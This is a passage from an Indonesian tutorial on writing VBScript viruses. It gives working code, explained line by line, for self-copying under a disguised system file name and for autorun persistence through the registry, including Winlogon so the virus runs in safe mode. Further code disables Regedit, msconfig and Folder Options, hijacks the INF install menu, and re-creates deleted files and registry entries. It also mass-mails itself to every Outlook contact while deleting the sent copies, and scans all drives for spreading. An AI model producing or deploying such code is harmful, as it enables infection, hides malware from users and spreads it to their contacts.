BodyVirus.ReadAll Perintah pada baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan isi dirinya sendiri yang pada baris sebelumnya telah dibuka. Perintah “BodyVirus.ReadAll” berfungsi untuk membaca keseluruhan isi file yang dalam contoh ini adalah file dirinya sendiri. • BodyVirus.Close Baris ini berfungsi untuk menutup file yang sebelumnya telah dibuka dan dibaca. • Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) & "mskernel32.dll.vbs") Baris ini harus ditulis dalam satu baris. Maksud dari perintah ini adalah mengeset variabel “BodyVirus” sebagai objek file dan sekaligus membuat sebuah file baru yang ditandai dengan perintah FSO.CreateTextFile. 27
  • 30. sedangkan perintah FSO.GetSpecialFolder(0) akan menghasilkan alamat path folder Windows (C:Windows). Jadi file akan dibuat pada folder Windows dengan nama file “mskernel32.dll.vbs” yang ditandai dengan string “mskernel32.dll.vbs”. • BodyVirus.Write IsiVirus Perintah pada baris ini berfungsi untuk menulis file yang dibuat tersebut (“mskernel32.dll.vbs”) dengan isi dari variabel “IsiVirus” yang mana variabel “IsiVirus” tersebut berisikan script ini sendiri (dirinya sendiri) yang mana variabel “IsiVirus” tersebut telah diisikan pada perintah “IsiVirus = BodyVirus.ReadAll” pada perintah sebelumnya. • BodyVirus.Close Baris ini berfungsi untuk menutup file yang sebelumnya dibuka dan ditulis menggunakan perintah “Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) & “mskernal32.dll.vbs”)”. Setelah anda melihat script tersebut diatas, anda mungkin bertanya-tanya mengapa script programnya terlalu berbelit? Bukankah proses tersebut hampir sama atau mirip dengan proses copy? Mengapa tidak menggunakan fungsi copy saja agar script programnya lebih ringkas? Mengapa, mengapa dan mengapa? Tanya kenapa? Pertanyaan tersebut ada benarnya, proses tersebut bisa dikatakan sama dengan proses copy biasa. Lalu mengapa yang saya berikan adalah cara yang begitu berbelit? Hal tersebut dilakukan karena pada bab berikutnya kita akan membahas teknik anti-deletion (anti penghapusan) yang mana script tersebut diatas merupakan salah satu bagian dari teknik anti-deletion tersebut. Dengan menggunakan cara seperti tersebut diatas, sangat dimungkinkan program meng-copy-kan dirinya sendiri atau bahkan membuat atau membangun ulang dirinya sendiri WALAUPUN FILE PROGRAMNYA SUDAH DIHAPUS. Hal tersebut dimungkinkan karena program tersebut membaca dirinya sendiri dan menyimpannya di memory. Keren banget kan ☺. 28
  • 31. Dan juga, jika anda menggunakan fungsi copy lalu ternyata file sumber sudah terhapus atau dihapus maka program akan menghasilkan runtime-error yang mengakibatkan gagalnya peng-copy-an file dan dengan demikian proses penggandaan diri pun ikut gagal. Namun jika anda tetap ingin melakukan metode penggandaan diri menggunakan fungsi copy berikut adalah contoh script-nya : 'Penggandaan Diri Menggunakan Fungsi Copy : Dim FSO Set FSO = CreateObject("Scripting.FileSystemObject") FSO.CopyFile WScript.ScriptFullName, FSO.GetSpecialFolder(0) & "mskernel32.dll.vbs", True Dimana penjelasan script-nya adalah sebagai berikut, proses copy dilakukan pada baris keempat dengan memanggil fungsi copy “FSO.CopyFile” dan sintaks yang digunakan adalah “FSO.CopyFile (FileSumber, FileTujuan, [OverWrite])” dimana “FileSumber” merupakan alamat path file asal yang mau di-copy dan “FileTujuan” adalah alamat path tujuan file sedangkan “OverWrite” merupakan tidakan yang harus dilakukan jika file tujuan ternyata sudah ada, nilainya adalah TRUE atau FALSE. Jika “OverWrite” diataur TRUE maka overwrite akan dilakukan jika file tujuan telah ada namun jika diatur FALSE overwrite tidak akan dilakukan jika file tujuan sudah ada. Gambar 3.4: File BackUp Virus (“mskernel32.dll.vbs”) Hasil Penggandaan Diri 29
  • 32. 3.6 Fasilitas AutoRun Yang dimaksud AutoRun disini adalah kemampuan sebuah program untuk dapat berjalan secara otomatis saat Windows start-up. Kebanyakan program-program virus dan antivirus menggunakan fasilitas ini sehingga dapat secara otomatis berjalan ketika Windows start-up. Fasilitas ini disediakan oleh sistem operasi Microsoft Windows melalui beberapa cara yang diantaranya adalah : 1. [Registry HKEY_CURRENT_USER] Key : SoftwareMicrosoftWindowsCurrentVersionRun Value : [Bebas] Value Data : [[wscript.exe] [Alamat Path ke Program] [%]] Contoh : wscript.exe C:WindowsVirus.vbs % Value Type : String Info : AutoRun terpengaruh user yang login. 2. [Registry HKEY_CURRENT_USER] Key : SoftwareMicrosoftWindowsCurrentVersionRunOnce Value : [Bebas] Value Data : [[wscript.exe] [Alamat Path ke Program] [%]] Contoh : wscript.exe C:WindowsVirus.vbs % Value Type : String Info : AutoRun pertama kali terpengaruh user yang login. 3. [Registry HKEY_LOCAL_MACHINE] Key : SoftwareMicrosoftWindowsCurrentVersionRun Value : [Bebas] Value Data : [[wscript.exe] [Alamat Path ke Program] [%]] Contoh : wscript.exe C:WindowsVirus.vbs % Value Type : String Info : AutoRun tanpa terpengaruh user yang login. 30
  • 33. 4. [Registry HKEY_LOCAL_MACHINE] Key : SoftwareMicrosoftWindowsCurrentVersionRunOnce Value : [Bebas] Value Data : [[wscript.exe] [Alamat Path ke Program] [%]] Contoh : wscript.exe C:WindowsVirus.vbs % Value Type : String Info : AutoRun pertama kali tanpa terpengaruh user yang login. 5. [Registry HKEY_LOCAL_MACHINE] Key : SoftwareMicrosoftWindows NTCurrentVersionWinlogon Value : Shell Value Data : Explorer.exe “[[wscript.exe] [Alamat Path ke Program] [%]]” Contoh : Explorer.exe “wscript.exe C:WindowsVirus.vbs %” Value Type : String Info : Tetap akan dijalankan walaupun saat SAFE MODE. 6. [StartUp Folder] Path : %StartMenuPath%ProgramsStartup Info : Buat Shortcut ke program atau copy file program. Dari beberapa daftar fasilitas AutoRun tersebut yang paling penulis rekomendasikan adalah dengan menggunakan daftar nomor tiga dan nomor lima (HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun dan HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon). Sedangkan cara untuk penulisan sama seperti yang telah dijelaskan pada sub-bab 3.2 (Baca Tulis Registry Windows). Berikut akan diberikan contoh script untuk membuat fasilitas AutoRun pada registry Windows : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") 'Buat AutoRun di Registry HKLM : 31
  • 34. ObjReg.RegWrite "HKLMSoftwareMicrosoftWindowsCurrentVersionRunmskernel32", "wscript.exe " & WScript.ScriptFullName & " %" Pada contoh tersebut akan membuat sebuah fasilitas AutoRun di registry pada key HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun dengan nama value “mskernel32” dan value data berisi “wscript.exe [alamat path program] %”. Nama value menggunakan nama “mskernel32” tak lain dan tak bukan adalah untuk keperluan penyamaran agar user mengira value tersebut merupakan buatan sistem Windows. Berikut adalah tampilan hasilnya di registry : Gambar 3.5: Key AutoRun Virus di Registry 3.7 Do…Loop Bikin Virus Tetap Hidup Jika anda membuat program menggunakan VBScript dan menjalankannya maka ketika interpreter sampai pada baris script terakhir dan mengeksekusinya program akan berhenti karena baris script yang akan dieksekusi sudah habis. Hal tersebut sangat tidak baik dalam pemrograman virus. Mengapa? Karena dalam konsep pemrograman virus, virus harus aktif begitu Windows aktif dan terus aktif selama Windows aktif. Jadi untuk mengatasi permasalahan tersebut dan agar virus tidak mati jika kode script telah selesai dieksekusi oleh interperter dapat digunakan perulangan 32
  • 35. (looping) Do…Loop. Perulangan Do…Loop tersebut dimaksudkan untuk membuat interpreter sibuk dan terus mengulang tanpa menemui batas akhir script. Berikut adalah contoh script-nya : Do 'Kode Script yang Diulang... Loop Simpelkan akan tetapi perulangan tersebut nantinya akan berhubungan dengan teknik-teknik pemrograman virus tingkat lanjut seperti teknik anti deletion, teknik anti registry deletion, teknik infeksi dan lain sebagainya yang akan dijelaskan dalam bab selanjutnya. 33
  • 36. BAB 4 Pemrograman Virus Tingkat Lanjut Pada bab sebelumnya kita telah membahas mengenai dasar pemrograman virus yang membahas mengenai perintah-perintah dasar yang sering digunakan dalam pemrograman virus. Sedangkan pada bab ini kita akan membahas perintah-perintah dan teknik-teknik yang lebih berat dibandingkan dengan perintah-printah yang terdapat pada bab sebelumnya. Ingat pembahasan kali ini lumayan berbahaya, penulis tidak bertanggung jawab atas segala kerusakan yang terjadi, backup dulu semua konfigurasi sistem anda. Dan juga penulis tidak peduli jika anda tidak mengerti dengan pembahasan ini ☺. 4.1 Disable Setting Demi menjaga kelangsungan hidup virus yang kita buat pada komputer host, kita harus menonaktifkan setting-setting yang dapat berpengaruh pada virus kita atau dapat digunakan user untuk melumpuhkan virus kita. Untuk melakukannya digunakan perintah tulis ke registry seperti yang telah dijelaskan pada bab sebelumnya. Beberapa diantaranya adalah sebagai berikut : • Menonaktifkan Registry Editor (Regedit.exe) Menonaktifkan registry editor mungkin merupakan hal yang cukup penting dan hampir semua virus (terutama virus lokal) melakukan hal ini. Dengan melumpuhkan setting ini user menjadi tidak dapat mengakses registry editor pada sistemnya sendiri. Berikut adalah contoh script-nya : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") 34
  • 37. ObjReg.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPol iciesSystemDisableRegistryTools", "1", "REG_DWORD" ObjReg.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPo liciesSystemDisableRegistryTools", "1", "REG_DWORD" Script tersebut akan menulis ke root key HKEY_CURRENT_USER dan HKEY_LOCAL_MACHINE. Setelah script tersebut dijalankan seharusnya registry editor sudah terkunci. Cobalah anda jalankan registry editor dan lihat apa yang tampil, jika yang tampil pesan registry editor telah di-disable oleh administrator berarti script yang anda tuliskan benar dan jika registry edit masih muncul berarti terdapat kesalahan pada script anda. Gambar 4.1: Registry Editor Telah Terkunci • Menonaktifkan Microsoft System Configuration Utility (msconfig) Berikutnya kita akan mencoba melumpuhkan msconfig dengan cara memasukan alamat path fiktif pada App Paths di registry. Alamat path fiktif yang akan dimasukan adalah “Z:AlamatPathFiktifBohong.exe” dan berikut adalah contoh script-nya : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") 35
  • 38. ObjReg.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionAp p PathsMSCONFIG.EXE", "Z:AlamatPathFiktifBohong.exe" Simpan dan jalankan script tersebut lalu coba anda panggil msconfig melalui fasilitas “Run” pada “Start Menu”. Jika yang tampil adalah pesan kesalahan bahwa Windows tidak dapat menemukan msconfig berarti script yang anda tuliskan sudah benar akan tetapi jika msconfig tetap tampil berarti ada kesalahan dalam script anda. Gambar 4.2: Msconfig Telah Dilumpuhkan • Menonaktifkan Folder Options Yang perlu dilumpuhkan selanjutnya adalah menu “Folder Options…” pada Windows Explorer. Perhatikan gambar berikut saat menu tersebut belum dilumpuhkan : Gambar 4.3: Menu Folder Option Masih Aktif 36
  • 39. Dan berikut adalah contoh script-nya untuk membuat menu “Folder Options…” tersebut hilang dari daftar menu pada Windows Explorer : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") ObjReg.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPol iciesExplorerNoFolderOptions", "1", "REG_DWORD" ObjReg.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPo liciesExplorerNoFolderOptions", "1", "REG_DWORD" Setelah script tersebut dijalankan seharusnya menu “Folder Options…” akan hilang, jika belum hilang coba restart komputer anda agar perubahan dijalankan. Gambar 4.4: Menu Folder Options Sudah Hilang 37
  • 40. • Menonaktifkan *.INF Install Menu Menonaktifkan menu “Install” untuk file *.INF dapat dikatakan penting namun juga tidak terlalu penting, nah lo bingungkan…??? Menjadi penting karena file ini dapat digunakan untuk menghapus entri-entri virus yang kita buat pada registry, seperti yang diterapkan oleh VAKSIN.COM (sebuah organisasi yang selalu mengganggu kesenangan kita ☺), dan menjadi tidak penting karena kita akan mempelajari teknik anti registry deletion yang dapat menghindari penghapusan registry dengan cara tersebut. Berikut adalah script-nya : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") ObjReg.RegWrite "HKEY_CLASSES_ROOTinffileshellInstallcommand", "wscript.exe " & WScript.ScriptFullName & " %" Perhatikan, pada baris terakhir terdapat spasi diantara tulisan wscript.exe dan tanda kutip (") dan juga terdapat spasi diantara tanda kutip (") dan tanda persen (%). Jangan sampai salah menuliskannya, jika salah menu “Install” tetap akan tidak berfungsi namun tidak sesuai dengan yang kita harapkan yaitu tidak akan dapat menjalankan virus kita saat menu “Install” diklik oleh user. Dengan demikian, setiap kali user melakukan klik kanan pada file *.INF dan memilih menu “Install” maka bukannya setting pada file *.INF tersebut yang terinstall namun malah virus kita yang akan dijalankan 4.2 Teknik Anti Deletion Teknik ini digunakan untuk mengatasi penghapusan file virus oleh user. Dengan menggunakan teknik ini, user yang belum berpengalaman (seperti teman saya yang bernama Mario yang beralamat di Wisma Asri, Bekasi) akan mengalami kesulitan untuk menghapus file virus. Pada dasarnya inti dari teknik ini sudah dibahas pada 38
  • 41. bab 3 (3.5 “Penggandaan Diri” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan untuk menyempurnakannya kedua pembahasan tersebut digabungkan sehingga menjadi sebuah teknik yang dalam pembahasan ini disebut dengan teknik anti deletion. Ok, berikut adalah contoh script programnya : Dim FSO Dim BodyVirus Dim IsiVirus On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") 'Buka dan Baca Dirinya Sendiri Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) 'Simpan Dalam Variabel IsiVirus IsiVirus = BodyVirus.ReadAll BodyVirus.Close Do 'Periksa Apakah File Masih Ada ? If FSO.FileExists(WScript.ScriptFullName) = False Then 'File Sudah Dihapus, Buat Lagi Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName) BodyVirus.Write IsiVirus BodyVirus.Close 'Kasih Pesan Msgbox "Maaf... Jangan Dihapus Dong...", VBExclamation, "Perhatian" End If Loop Simpan script tersebut dengan nama (misalnya) “anti-deletion.vbs” dan jalankan. Setelah anda jalankan, coba anda hapus file tersebut dan apa yang terjadi. Ya, proses penghapusan berjalan sebagai mana mestinya namun file tersebut akan muncul lagi dan malah menampilkan sebuah pesan berupa messagebox. 39
  • 42. Algoritmanya adalah sebagai berikut, ketika pertama kali script tersebut berjalan script tersebut akan membuka dan membaca dirinya sendiri yang lalu disimpan dalam sebuah variabel memory bernama “IsiVirus”. Setelah proses tersebut script akan terus aktif (karena terkena perintah perulangan Do…Loop) dan terus memeriksa apakah dirinya masih ada atau tidak. Jika dirinya sudah tidak ada, misalnya dihapus, script tersebut akan mencoba untuk membuat file dirinya sendiri lagi dengan nama dan tempat yang sama lalu memunculkan pesan messagebox. Adapun pesan messagebox tersebut akan tampil seperti pada gambar berikut : Gambar 4.5: Messagebox yang Tampil Saat File Script Dihapus Berikut akan diberikan penjelasan jalannya proses script baris-per-baris : • Dim FSO Baris ini merupakan deklarasi variabel bernama “FSO”. • Dim BodyVirus Script pada baris ini juga merupakan sebuah deklarasi variabel, variabel yang dideklarasikan bernama “BodyVirus”. • Dim IsiVirus Sama seperti pada dua baris sebelumnya hanya saja variabel yang dideklarasikan bernama “IsiVirus”. • On Error Resume Next Script pada baris ini berfungsi untuk mengabaikan error yang terjadi atau yang akan terjadi. Maksudnya jika terjadi error setelah perintah tersebut maka error akan diabaikan dan proses akan terus dilanjutkan pada script dibaris selanjutnya. 40
  • 43. • Set FSO = CreateObject("Scripting.FileSystemObject") Baris ini berfungsi untuk mengeset variabel “FSO” sebagai objek “Scripting.FileSystemObject”. • Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) Perintah pada baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek “FSO.OpenTextFile” dan sekaligus membuka dirinya sendiri. • IsiVirus = BodyVirus.ReadAll Baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan dirinya sendiri yang tadi telah dibuka pada baris sebelumnya. Dengan demikian seluruh script pada file ini tersimpan pada memory yang diwakili oleh variabel “IsiVirus”. • BodyVirus.Close Script pada baris ini berfungsi untuk menutup file (file dirinya sendiri) yang tadi telah dibuka pada dua baris sebelumnya. • Do Perintah ini merupakan blok pembuka dari sebuah perulangan Do…Loop. • If FSO.FileExists(WScript.ScriptFullName) = False Then Script pada baris ini merupakan awal dari blok IF…End IF yang memiliki pengkondisian untuk memeriksa apakah file dirinya sendiri masih ada atau sudah tidak ada. Jika sudah tidak ada maka script yang berada didalam blok IF…End IF akan dijalankan namun jika masih ada script yang berada didalam blok IF…End IF tidak akan dijalankan. • Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName) Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek “FSO.CreateTextFile” yang berguna untuk membuat sebuah file text dan file yang dibuat adalah dirinya sendiri. • BodyVirus.Write IsiVirus Script pada baris ini berfungsi untuk menulis file (yang telah dibuat pada script baris sebelumnya) dengan isi variabel “IsiVirus” yang mana isi dari variabel tersebut adalah script dirinya sendiri. 41
  • 44. • BodyVirus.Close Script ini berfungsi untuk menutup file yang telah dibuka dan ditulis pada dua baris script sebelumnya. • Msgbox "Maaf... Jangan Dihapus Dong...", VBExclamation, "Perhatian" Perintah script tersebut berfungsi untuk menampilkan messagebox yang memiliki tulisan “Maaf… Jangan Dihapus Dong…” yang memiliki icon tanda seru (!) dan memiliki titlebar dengan tulisan “Perhatian”. • End If Baris script ini merupakan penutup dari blok IF…End IF. • Loop Baris ini merupakan penutup dari blok perulangan Do…Loop. 4.3 Teknik Anti Registry Deletion Teknik ini secara teknis hampir sama atau mirip dengan teknik anti deletion yang telah dibahas pada sub-bab sebelumnya, hanya saja teknik ini digunakan untuk mengatasi penghapusan entri-entri registry yang dibuat oleh script (dalam hal ini virus). Dengan menggunakan teknik ini bukan berarti entri-entri buatan pada registry tidak dapat dihapus hanya saja akan sedikit lebih sulit dan bahkan bikin pusing bagi user yang belum berpengalaman (juga seperti teman saya Mario yang tinggal di Wisma Asri, Bekasi). Pada dasarnya inti dari teknik ini juga sudah dibahas pada bab 3 (3.2 “Baca Tulis Registry Window” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan untuk membangun teknik ini anda tinggal menggabungkan kedua pembahasan dalam bab 3 tersebut. Berikut adalah contoh script programnya : Dim ObjReg On Error Resume Next Set ObjReg = CreateObject("WScript.Shell") 42
  • 45. 'Tulis ke Registry ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu" Do 'Tulis Lagi ke Registry ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu" Loop Ketika script tersebut dijalankan, program akan menulis entri ke registry dan akan menulis lagi dan menulis lagi entri yang sama ke registry melalui blok perulangan Do…Loop. Dengan demikian jika ada user yang menghapus entri tersebut secara otomatis entri tersebut akan tertulis lagi tanpa sepengetahuan user tersebut. 4.4 Menyebar Melalui E-Mail Sebenarnya teknik menyebar melalui e-mail ini merupakan salah satu teknik yang keren pada saat-saat awal kemunculan virus yang ditulis menggunakan bahasa VBScript. Namun sayangnya saat ini tingkat security pada produk-produk microsoft telah di perketat dan hampir semua antivirus akan memblokir akses yang memungkinkan program-program berbahaya seperti virus menyebarkan dirinya dengan memanfaatkan e-mail client Outlook dan fungsi MAPI. Mengacu pada penjelasan diatas, jangan terlalu berharap dari teknik menyebarkan diri melalui e-mail ini. Disini kita hanya akan mempelajari caranya saja agar mengerti bagaimana cara kerjanya dan supaya tidak “norak” sama teknik yang udah “basi” ini ☺. Berikut adalah contoh script menyebar menggunakan e-mail : InfeksiEmail Function InfeksiEmail() Set ObjEmail = CreateObject("Outlook.Application") If ObjEmail = "Outlook" Then Set ObjMapi = ObjEmail.GetNameSpace("MAPI") Set DaftarAlamat = ObjMapi.AddressLists 43
  • 46. For Each Alamat In DaftarAlamat If Alamat.AddressEntries.Count <> 0 Then JmlAlamat = Alamat.AddressEntries.Count For i = 1 To JmlAlamat Set ObjEmailItem = ObjEmail.CreateItem(0) Set AlamatEmail = Alamat.AddressEntries(i) ObjEmailItem.To = AlamatEmail.Address ObjEmailItem.Subject = "INI SUBJECT" ObjEmailItem.Body = "INI BODY E-MAIL" Set AttachmentItem = ObjEmailItem.Attachments ObjEmailItem.DeleteAfterSubmit = True AttachmentItem.Add WScript.ScriptFullName If ObjEmailItem.To <> "" Then ObjEmailItem.Send End If Next End If Next End If End function Teknik menyebar melalui e-mail tersebut pada script diatas diletakan dalam sebuah fungsi (function) yang bernama “InfeksiEmail” yang dimulai dengan perintah “Function InfeksiEmail()” dan diakhiri dengan perintah “End Function”. Dimana fungsi tersebut dipanggil dan dijalankan pada baris pertama script yaitu “InfeksiEmail”. Dari script tersebut dapat diketahui bahwa untuk menyebarkan diri melalui e-mail dilakukan dengan memanfaatkan aplikasi e-mail client Microsoft Outlook dan 44
  • 47. menyebar keseluruh alamat e-mail yang terdapat pada daftar kontak Outlook. Dan berikut adalah penjelasan script baris-per-baris : • InfeksiEmail Baris ini merupakan script pemanggil fungsi “Function InfeksiEmail()”. Jadi maksudnya fungsi “Function InfeksiEmail()” tersebut akan dieksekusi dan dijalankan pada beris tersebut. • Function InfeksiEmail() Merupakan blok pembuka fungsi (function) yang mana fungsinya bernama “InfeksiEmail”. • Set ObjEmail = CreateObject("Outlook.Application") Baris ini mengeset variabel “ObjEmail” sebagai objek aplikasi Outlook. Bisa dikatakan aplikasi Microsoft Outlook diwakilkan sebagai variabel “ObjEmail” pada script ini. • If ObjEmail = "Outlook" Then Baris ini merupakan blok pembuka kondisi IF…End IF yang memeriksa isi dari variabel “ObjEmail” dimana jika variabel “ObjEmail” tersebut berisi “Outlook” maka script didalam blok IF…End IF tersebut akan dijalankan. • Set ObjMapi = ObjEmail.GetNameSpace("MAPI") Baris ini mengeset variabel “ObjMapi” sebagai objek MAPI, dimana hampir setiap e-mail client berbasis Windows menggunakan objek MAPI tersebut. • Set DaftarAlamat = ObjMapi.AddressLists Pada baris ini variabel “DaftarAlamat” diset sebagai daftar alamat objek MAPI pada aplikasi Outlook. • For Each Alamat In DaftarAlamat Disini script akan melakukan perulangan untuk mendapatkan setiap alamat email yang terkandung didalam variabel “DaftarAlamat”. • If Alamat.AddressEntries.Count <> 0 Then Blok IF pada baris ini akan melakukan pemeriksaan apakah jumlah alamat tidak sama dengan nol (0). Jika tidak sama dengan nol (0) maka eksekusi perintah yang berada didalam blok IF…END IF tersebut. 45
  • 48. • JmlAlamat = Alamat.AddressEntries.Count Mendapatkan jumlah alamat yang hasilnya ditampung pada variabel “JmlAlamat”. • For i = 1 To JmlAlamat Baris ini merupakan awal blok perulangan FOR…NEXT yang akan melakukan perulangan dari nilai satu (1) sampai sebanyak jumlah alamat yang nilainya dikandung dalam variabel “JmlAlamat”. • Set ObjEmailItem = ObjEmail.CreateItem(0) Baris ini berfungsi untuk mengeset variabel “ObjEmailItem” sebagai objek email yang berfungsi untuk membuat item email baru. • Set AlamatEmail = Alamat.AddressEntries(i) Baris ini mengeset variabel “AlamatEmail” sebagai alamat email ke “i” yang mana “i” merupakan nilai dari perulangan FOR…NEXT dari satu (1) sampai dengan jumlah alamat email yang terkandung dalam variabel “JmlAlamat”. • ObjEmailItem.To = AlamatEmail.Address Perintah pada baris ini akan mengisi alamat email tujuan (To) yang diwakilkan dengan objek email “ObjEmailItem.To” dari daftar alamat email yang didapat dari variabel “AlamatEmail.Address”. • ObjEmailItem.Subject = "INI SUBJECT" Baris ini akan mengisikan subject email ke objek email “ObjEmailItem.Subject”. Dimana isi subject-nya adalah “INI SUBJECT”, anda dapat menggantinya sesuai keinginan anda. • ObjEmailItem.Body = "INI BODY E-MAIL" Sama seperti baris sebelumnya hanya saja disini kita mengeset body / pesan dalam email, dimana isinya adalah “INI BODY E-MAIL” dan anda dapat menggantinya sesuai dengan keinginan anda. • Set AttachmentItem = ObjEmailItem.Attachments Baris ini mengeset variabel “AttachmentItem” sebagai objek “ObjEmailItem.Attachments” yang nantinya berfungsi untuk mewakili objek attachment pada email. 46
  • 49. • ObjEmailItem.DeleteAfterSubmit = True Baris ini berfungsi untuk mengeset setting Outlook untuk secara otomatis menghapus email yang sudah terkirim, maksudnya untuk menghilangkan jejak virus yang berusaha mengirimkan email pada setiap daftar kontak di Outlook. • AttachmentItem.Add WScript.ScriptFullName Perintah pada baris ini berfungsi untuk menambahkan attachment email dengan virus itu sendiri, dimana perintah “WScript.ScriptFullName” merupakan pengalamatan path dirinya sendiri. • If ObjEmailItem.To <> "" Then Baris ini merupakan blok pembuka IF…END IF yang akan memeriksa apakah alamat tujuan tidak kosong, jika tidak maka eksekusi perintah yang berada didalam blok IF…END IF tersebut. • ObjEmailItem.Send Kirim email, ya, pada baris ini virus akan memerintahkan Outlook untuk segera mengirimkan email beserta dengan atachment virus. • End If Merupakan blok penutup IF…END IF dari “If ObjEmailItem.To <> "" Then”. • Next Merupakan blok penutup perulangan FOR…NEXT dari “For I = 1 To JmlAlamat”. • End If Merupakan blok penutup IF…END IF dari “If Alamat.AddressEntries.Count <> 0 Then”. • Next Juga merupakan blok penutup perulangan FOR…NEXT dari “For Each Alamat In DaftarAlamat”. • End If Sama, juga merupakan blok penutup IF…END IF dari “If ObjEmail = "Outlook" Then”. 47
  • 50. • End function Merupakan blok penutup prosedur fungsi “Function InfeksiEmail()”. 4.5 Scan Seluruh Drive, Folder dan Sub-Folder Pada sub-bab ini akan dijelaskan bagaimana melakukan scan terhadap seluruh drive dan folder beserta dengan sub-folder-nya (seperti sistem scan pada antivirus). Teknik ini dapat digunakan untuk menyebarkan virus kita keseluruh drive, folder dan sub-folder (biar harddisk target jadi penuh dengan virus kita ☺). Ok, perhatikan script berikut : Dim FSO Dim Drive, Drives, Folder, SubFolder, SubFolders Dim objDaftar Dim DaftarFolder On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") Set Drives = FSO.Drives For Each Drive in Drives If Drive.IsReady Then ScanFolder Drive & "" End If Next 'Simpan Daftar Folder pada "C:Daftar.txt" Set objDaftar = FSO.CreateTextFile("C:Daftar.txt") objDaftar.Write DaftarFolder objDaftar.Close 'Beri Konfirmasi Proses Selesai... MsgBox "Proses Selesai..." Function ScanFolder(Path) On Error Resume Next Set Folder = FSO.GetFolder(Path) Set SubFolders = Folder.SubFolders 48
  • 51. For Each SubFolder in SubFolders DaftarFolder = DaftarFolder & SubFolder & VBCrLf ScanFolder SubFolder.Path Next End Function Script tersebut diatas akan melakukan scan terhadap setiap drive, folder dan subfolder yang berada pada system secara berurutan dari drive pertama sampai drive terakhir, mendatanya dan menyimpan data daftarnya pada file “C:Daftar.txt”. Berikut adalah penjelasan script-nya baris-per-baris : • Dim FSO Baris ini merupakan deklarasi variabel bernama “FSO”. • Dim Drive, Drives, Folder, SubFolder, SubFolders Baris ini merupakan deklarasi variabel dengan nama “Drive”, “Drives”, “Folder”, “SubFolder”, “SubFolders”. • Dim objDaftar Sama seperti sebelumnya, baris ini juga merupaka deklarasi variabel dengan nama “objDaftar”. • Dim DaftarFolder Juga sama, baris ini merupakan deklarasi variabel dengan nama “DaftarFolder”. • On Error Resume Next Perintah pada baris ini berfungsi untuk tidak menghiraukan error yang terjadi dan jika terjadi error maka lanjutkan proses ke baris berikutnya tanpa harus menghentikan program dan tanpa menyebabkan run-time error. • Set FSO = CreateObject("Scripting.FileSystemObject") Baris ini berfungsi untuk mengeset variabel “FSO” sebagai objek “Scripting.FileSystemObject”. 49
  • 52. • Set Drives = FSO.Drives Baris ini berfungsi untuk mengeset variabel “Drives” sebagai objek “FSO.Drives” yang merupakan fungsi yang dimiliki oleh objek “Scripting.FileSystemObject” yang telah diwakilkan oleh variabel “FSO” sebelumnya. • For Each Drive in Drives Baris ini merupakan awal dari blok perulangan FOR…NEXT yang berfungsi untuk mendapatkan setiap drive yang terinstall pada sistem. • If Drive.IsReady Then Baris ini merupakan blok pembuka IF…END IF yang berfungsi untuk memeriksa apakah drive siap? Jika siap maka jalankan perintah yang berada didalam blok IF…END IF tersebut. • ScanFolder Drive & "" Baris ini berfungsi untuk memanggil dan menjalankan fungsi “ScanFolder” untuk melakukan scan pada drive yang sedang aktif didalam perulangan FOR…NEXT tersebut. Fungsi “ScanFolder” tersebut berada pada bagian bawah script. • End If Merupakan blok penutup IF…END IF dari “If Drive.IsReady Then”. • Next Merupakan blok penutup perulangan FOR…NEXT dari “For Each Drive In Drives”. • Set objDaftar = FSO.CreateTextFile("C:Daftar.txt") Baris ini berfungsi untuk mengeset variabel “objDaftar” sebagai objek “FSO.CreateTextFile” yang merupakan fungsi yang dimiliki oleh objek “Scripting.FileSystemObject” yang telah diwakili oleh variabel “FSO” sebelumnya, dan sekaligus membuat sebuah file text di “C:” dengan nama file “Daftar.txt”. 50
  • 53. • objDaftar.Write DaftarFolder Baris ini berfungsi untuk menulis ke file yang sebelumnya telah dibuat (“C:Daftar.txt”) dengan daftar folder yang terkandung didalam variabel “DaftarFolder” dimana variabel tersebut diisi pada fungsi “ScanFolder”. • objDaftar.Close Baris ini berfungsi untuk menutup file yang tadi telah dibuat dan ditulis (“C:Daftar.txt”). Ingat, Setiap kali anda membuka file jangan lupa untuk menutupnya. • MsgBox "Proses Selesai..." Perintah pada baris ini berfungsi untuk menampilkan messagebox sebagai konfirmasi bahwa script telah selesai dijalankan. Ya, baris ini memang bukan merupakan baris terakhir pada script akan tetapi baris inilah yang akan dieksekusi paling terakhir oleh interpreter. • Function ScanFolder(Path) Baris ini merupakan blok pembuka fungsi “ScanFolder”. Fungsi ini memiliki sebuah parameter atau argumen yaitu “Path”, argumen “Path” tersebut digunakan untuk melewatkan path drive yang akan di-scan folder-nya, misalnya “C:” jadi anda dapat memanggil fungsi “ScanFolder” dengan “ScanFolder "C:"”. • On 